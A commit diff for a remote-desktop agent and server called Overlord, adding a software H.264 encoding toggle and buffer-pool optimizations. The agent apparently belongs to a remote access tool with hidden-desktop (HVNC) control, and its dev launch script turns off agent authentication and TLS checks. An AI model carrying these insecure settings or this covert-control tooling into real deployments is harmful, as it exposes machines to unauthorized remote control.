small optimizations + allow for users to force software H264 since it's not slow as balls

Overlord-Client/cmd/agent/capture/capture.go

@@ -494,10 +494,11 @@ var (
 	statBlockRegions    atomic.Int64
 	statBlockFallbacks  atomic.Int64
 
-	overrideQuality atomic.Int64
+	overrideQuality     atomic.Int64
-	overrideCodec   atomic.Value
+	overrideCodec       atomic.Value
-	h264WarnOnce    sync.Once
+	desktopSoftwareH264 atomic.Bool
-	codecLogOnce    sync.Once
+	h264WarnOnce        sync.Once
+	codecLogOnce        sync.Once
 
 	prevMu    sync.Mutex
 	prevFrame *prevImage
@@ -627,6 +628,19 @@ func RequestDesktopFullFrame() {
 	RequestDesktopH264Keyframe()
 }
 
+func SetDesktopSoftwareH264(enabled bool) {
+	if desktopSoftwareH264.Swap(enabled) == enabled {
+		return
+	}
+	resetH264Encoder()
+	requestFullFrames(2)
+	log.Printf("capture: desktop software h264 %v", enabled)
+}
+
+func useDesktopSoftwareH264() bool {
+	return desktopSoftwareH264.Load()
+}
+
 func RequestHVNCFullFrame() {
 	hvncPrevMu.Lock()
 	hvncPrevFrame = nil

Overlord-Client/cmd/agent/capture/h264_direct_windows.go

@@ -10,7 +10,7 @@ import (
 )
 
 func tryBuildDirectH264Frame(display int) (wire.Frame, time.Duration, time.Duration, bool, error) {
-	if blockCodec() != "h264" || !useDesktopDuplication() {
+	if blockCodec() != "h264" || useDesktopSoftwareH264() || !useDesktopDuplication() {
 		return wire.Frame{}, 0, 0, false, nil
 	}
 	forceKeyframe := webrtcpub.ConsumeKeyframeRequest()

Overlord-Client/cmd/agent/capture/h264_encoder_windows.go

@@ -547,6 +547,10 @@ func closeH264Encoder(slot *h264FrameEncoder) {
 }
 
 func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
+	if stream == "desktop" && useDesktopSoftwareH264() {
+		log.Printf("capture: desktop software h264 requested; skipping native NVENC and Media Foundation hardware encoders")
+		return newMFSoftwareH264Encoder(width, height, fps)
+	}
 	if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil {
 		return enc, nil
 	} else {
@@ -592,6 +596,21 @@ func newMFH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
 	if fallbackErr != nil {
 		return nil, fallbackErr
 	}
+	return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
+}
+
+func newMFSoftwareH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
+	if err := ensureMFStartup(); err != nil {
+		return nil, err
+	}
+	transform, fallbackHardware, fallbackProvider, fallbackErr := createSoftwareH264Transform()
+	if fallbackErr != nil {
+		return nil, fallbackErr
+	}
+	return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
+}
+
+func newMFH264EncoderFromSoftwareTransform(transform *mfTransform, fallbackHardware bool, fallbackProvider string, width, height, fps int) (*mfH264Encoder, error) {
 	enc := newMFH264EncoderFromTransform(transform, width, height, fps, fps, fallbackHardware, fallbackProvider, MFVideoFormat_NV12, "NV12")
 	if err := enc.configure(); err != nil {
 		enc.Close()

Overlord-Client/cmd/agent/capture/rgbapool.go

@@ -2,23 +2,38 @@ package capture
 
 import (
 	"image"
-	"sync"
+	"sync/atomic"
 )
 
-var rgbaPool sync.Pool
+const (
+	maxPooledRGBABuffers = 8
+	maxPooledRGBABytes   = 64 << 20
+	maxTotalRGBABytes    = 192 << 20
+)
+
+var (
+	rgbaPool        = make(chan []byte, maxPooledRGBABuffers)
+	pooledRGBABytes atomic.Int64
+)
 
 func GetRGBA(w, h int) *image.RGBA {
 	need := w * h * 4
 	if need <= 0 {
 		return image.NewRGBA(image.Rect(0, 0, w, h))
 	}
-	if v := rgbaPool.Get(); v != nil {
+	for attempts := len(rgbaPool); attempts > 0; attempts-- {
-		if buf, ok := v.([]byte); ok && cap(buf) >= need {
+		select {
-			return &image.RGBA{
+		case buf := <-rgbaPool:
-				Pix:    buf[:need],
+			pooledRGBABytes.Add(-int64(cap(buf)))
-				Stride: w * 4,
+			if cap(buf) >= need && cap(buf) <= maxReusableCapacity(need) {
-				Rect:   image.Rect(0, 0, w, h),
+				return &image.RGBA{
+					Pix:    buf[:need],
+					Stride: w * 4,
+					Rect:   image.Rect(0, 0, w, h),
+				}
 			}
+		default:
+			attempts = 0
 		}
 	}
 	return image.NewRGBA(image.Rect(0, 0, w, h))
@@ -28,5 +43,34 @@ func PutRGBA(img *image.RGBA) {
 	if img == nil || len(img.Pix) == 0 {
 		return
 	}
-	rgbaPool.Put(img.Pix)
+	buf := img.Pix
+	capacity := cap(buf)
+	if capacity <= 0 || capacity > maxPooledRGBABytes {
+		return
+	}
+	for {
+		cur := pooledRGBABytes.Load()
+		if cur+int64(capacity) > maxTotalRGBABytes {
+			return
+		}
+		if pooledRGBABytes.CompareAndSwap(cur, cur+int64(capacity)) {
+			break
+		}
+	}
+	select {
+	case rgbaPool <- buf:
+	default:
+		pooledRGBABytes.Add(-int64(capacity))
+	}
+}
+
+func maxReusableCapacity(need int) int {
+	limit := need * 2
+	if limit < need+(1<<20) {
+		limit = need + (1 << 20)
+	}
+	if limit > maxPooledRGBABytes {
+		limit = maxPooledRGBABytes
+	}
+	return limit
 }

Overlord-Client/cmd/agent/capture/win_duplication.go

@@ -687,7 +687,9 @@ func (s *duplicationState) closeLocked() {
 	s.bounds = image.Rectangle{}
 	s.cursorBounds = image.Rectangle{}
 	s.display = -1
+	PutRGBA(s.lastBase)
 	s.lastBase = nil
+	PutRGBA(s.lastFrame)
 	s.lastFrame = nil
 	s.lastFrameAt = time.Time{}
 	s.cursorScratch = nil
@@ -807,11 +809,15 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 		}
 	}
 
-	// Cache an independent clone so the timeout path (which serves the cached
+	// Cache an independent copy so the timeout path (which serves the cached
 	// frame back to callers) doesn't alias a buffer the caller will return to
 	// the RGBA pool via PutRGBA.
-	s.lastBase = cloneRGBA(img)
+	captured := img
-	img = s.composeFrame(img, width, height)
+	s.copyLastBaseLocked(captured)
+	img = s.composeFrame(captured, width, height)
+	if img != captured {
+		PutRGBA(captured)
+	}
 	if img == s.cursorScratch {
 		// cursorScratch is reused across captures; clone before returning so
 		// the next compose doesn't write into a buffer the caller has pooled.
@@ -823,6 +829,26 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 	return img, nil
 }
 
+func (s *duplicationState) copyLastBaseLocked(src *image.RGBA) {
+	if src == nil {
+		PutRGBA(s.lastBase)
+		s.lastBase = nil
+		return
+	}
+	width := src.Rect.Dx()
+	height := src.Rect.Dy()
+	need := len(src.Pix)
+	if s.lastBase != nil && cap(s.lastBase.Pix) >= need && cap(s.lastBase.Pix) <= need*2 {
+		s.lastBase.Pix = s.lastBase.Pix[:need]
+		s.lastBase.Stride = width * 4
+		s.lastBase.Rect = image.Rect(0, 0, width, height)
+		copy(s.lastBase.Pix, src.Pix)
+		return
+	}
+	PutRGBA(s.lastBase)
+	s.lastBase = cloneRGBA(src)
+}
+
 func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, int, int, time.Duration, time.Duration, bool, error) {
 	capStart := time.Now()
 	s.mu.Lock()

Overlord-Client/cmd/agent/handlers/command.go

@@ -774,6 +774,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		payload, _ := envelope["payload"].(map[string]interface{})
 		quality := 90
 		codec := ""
+		softwareH264 := false
 		reason := ""
 		source := ""
 		if payload != nil {
@@ -783,6 +784,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			if v, ok := payload["codec"].(string); ok {
 				codec = v
 			}
+			if v, ok := payload["softwareH264"].(bool); ok {
+				softwareH264 = v
+			}
 			if v, ok := payload["reason"].(string); ok {
 				reason = strings.TrimSpace(v)
 			}
@@ -790,11 +794,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 				source = strings.TrimSpace(v)
 			}
 		}
+		softwareH264 = softwareH264 && strings.EqualFold(strings.TrimSpace(codec), "h264")
 		if source != "" || reason != "" {
-			log.Printf("desktop: set quality=%d codec=%s source=%s reason=%s", quality, codec, source, reason)
+			log.Printf("desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s", quality, codec, softwareH264, source, reason)
 		} else {
-			log.Printf("desktop: set quality=%d codec=%s", quality, codec)
+			log.Printf("desktop: set quality=%d codec=%s software_h264=%v", quality, codec, softwareH264)
 		}
+		capture.SetDesktopSoftwareH264(softwareH264)
 		capture.SetQualityAndCodec(quality, codec)
 		sendCommandResultSafe(env, cmdID, true, "")
 		return nil

Overlord-Server/public/assets/remotedesktop.js

@@ -70,6 +70,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
   const codecH264 = document.getElementById("codecH264");
+  const softwareH264Ctrl = document.getElementById("softwareH264Ctrl");
   const codecMode = document.getElementById("codecMode");
   const canvas = document.getElementById("frameCanvas");
   const canvasContainer = document.getElementById("canvasContainer");
@@ -403,6 +404,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
     if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor;
     if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication;
+    if (softwareH264Ctrl && typeof settings.softwareH264 === "boolean") softwareH264Ctrl.checked = settings.softwareH264;
     if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
     if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio;
     if (typeof settings.preferH264 === "boolean") {
@@ -423,6 +425,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       keyboard: !!kbdCtrl?.checked,
       cursor: !!cursorCtrl?.checked,
       duplication: !!duplicationCtrl?.checked,
+      softwareH264: !!softwareH264Ctrl?.checked,
       clipboardSync: !!clipboardSyncCtrl?.checked,
       audio: !!audioCtrl?.checked,
       audioTransport: getAudioTransport(),
@@ -439,6 +442,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     codecH264.checked = prefersH264;
     codecH264.disabled = typeof VideoDecoder !== "function";
   }
+  if (softwareH264Ctrl) {
+    softwareH264Ctrl.disabled = !prefersH264;
+  }
 
   function setCodecModeLabel(mode, detail) {
     if (!codecMode) return;
@@ -1216,12 +1222,17 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   function pushQuality(val) {
     const q = Number(val) || 90;
     const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
-    console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
+    const softwareH264 = codec === "h264" && useSoftwareH264();
+    console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec, "softwareH264=", softwareH264);
     setCodecModeLabel(codec, "requested");
-    if (codec === "h264") {
+    if (codec === "h264" && !softwareH264) {
       ensureDuplicationForH264();
     }
-    sendCmd("desktop_set_quality", { quality: q, codec });
+    sendCmd("desktop_set_quality", { quality: q, codec, softwareH264 });
+  }
+
+  function useSoftwareH264() {
+    return !!softwareH264Ctrl?.checked && prefersH264;
   }
 
   function ensureDuplicationForH264() {
@@ -1236,7 +1247,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     codecH264.addEventListener("change", function () {
       resetH264SessionState();
       prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      if (prefersH264) {
+      if (softwareH264Ctrl) {
+        softwareH264Ctrl.disabled = !prefersH264;
+      }
+      if (prefersH264 && !useSoftwareH264()) {
         ensureDuplicationForH264();
       }
       if (!prefersH264) {
@@ -1249,6 +1263,15 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sharedSettingsSaver.scheduleSave();
     });
   }
+  if (softwareH264Ctrl) {
+    softwareH264Ctrl.addEventListener("change", function () {
+      resetH264SessionState();
+      if (qualitySlider) {
+        pushQuality(qualitySlider.value);
+      }
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
 
   function pushResolution() {
     if (resolutionSelect) {
@@ -1335,7 +1358,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (qualitySlider) {
       pushQuality(qualitySlider.value);
     }
-    if (prefersH264) {
+    if (prefersH264 && !useSoftwareH264()) {
       ensureDuplicationForH264();
     }
     pushTargetFps();
@@ -1588,6 +1611,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     prefersH264 = false;
     destroyVideoDecoder();
     if (codecH264) codecH264.checked = false;
+    if (softwareH264Ctrl) softwareH264Ctrl.disabled = true;
     sharedSettingsSaver.scheduleSave();
     console.warn("rd: falling back to jpeg codec", reasonText);
     const q = Number(qualitySlider?.value) || 90;
@@ -1636,6 +1660,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sendCmd("desktop_set_quality", {
         quality: q,
         codec: "h264",
+        softwareH264: useSoftwareH264(),
         source: "rd_viewer",
         reason: "h264_recovery_quality_push",
       });

Overlord-Server/public/remotedesktop.html

@@ -198,6 +198,9 @@
                   </label>
                   <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
                 </div>
+                <label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Skip NVENC/direct GPU H.264 and use the software H.264 fallback path">
+                  <input type="checkbox" id="softwareH264Ctrl" /> Software H.264
+                </label>
                 <label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
                   <input type="checkbox" id="duplicationCtrl" /> GPU Capture
                 </label>

Overlord-Server/src/server/ws-console-rd-hvnc.test.ts

@@ -132,6 +132,7 @@ describe("remote desktop viewer control", () => {
       display: 0,
       quality: 90,
       codec: "h264",
+      softwareH264: false,
       duplication: true,
       maxHeight: 1080,
       maxFps: 120,

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -177,6 +177,7 @@ export const rdStreamingState = new Map<string, {
   display: number;
   quality: number;
   codec: string;
+  softwareH264: boolean;
   duplication: boolean;
   maxHeight: number;
   maxFps: number;
@@ -201,6 +202,7 @@ function defaultRdStreamingState() {
     display: 0,
     quality: 90,
     codec: "",
+    softwareH264: false,
     duplication: false,
     maxHeight: 0,
     maxFps: 120,
@@ -507,23 +509,26 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     case "desktop_set_quality": {
       const newQuality = Number(payload.quality) || 90;
       const newCodec = String(payload.codec || "").toLowerCase();
+      const newSoftwareH264 = newCodec === "h264" && !!(payload as any).softwareH264;
       const reason = typeof payload.reason === "string"
         ? payload.reason.slice(0, 512)
         : "";
       const source = typeof payload.source === "string"
         ? payload.source.slice(0, 128)
         : "";
-      if (state.quality !== newQuality || state.codec !== newCodec) {
+      if (state.quality !== newQuality || state.codec !== newCodec || state.softwareH264 !== newSoftwareH264) {
         sendDesktopCommand(target, "desktop_set_quality", {
           quality: newQuality,
           codec: newCodec,
+          softwareH264: newSoftwareH264,
           ...(reason ? { reason } : {}),
           ...(source ? { source } : {}),
         });
         state.quality = newQuality;
         state.codec = newCodec;
+        state.softwareH264 = newSoftwareH264;
         rdStreamingState.set(clientId, state);
-        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
+        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"} software_h264=${newSoftwareH264}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
       }
       break;
     }

scripts/start-dev.bat

@@ -27,10 +27,11 @@ set PORT=5173
 set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only
 set OVERLORD_DISABLE_AGENT_AUTH=true
 set LOG_LEVEL=debug
+set CGO_ENABLED=1
 
 start "Overlord-Server" cmd /k "cd /d ""%ROOT%Overlord-Server"" && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start"
 timeout /t 3 /nobreak >nul
-start "Overlord-Client" cmd /k "cd /d ""%ROOT%Overlord-Client"" && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
+start "Overlord-Client" cmd /k "cd /d ""%ROOT%Overlord-Client"" && set CGO_ENABLED=1 && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
 
 echo Done. Terminals stay open (/k) for logs.
 endlocal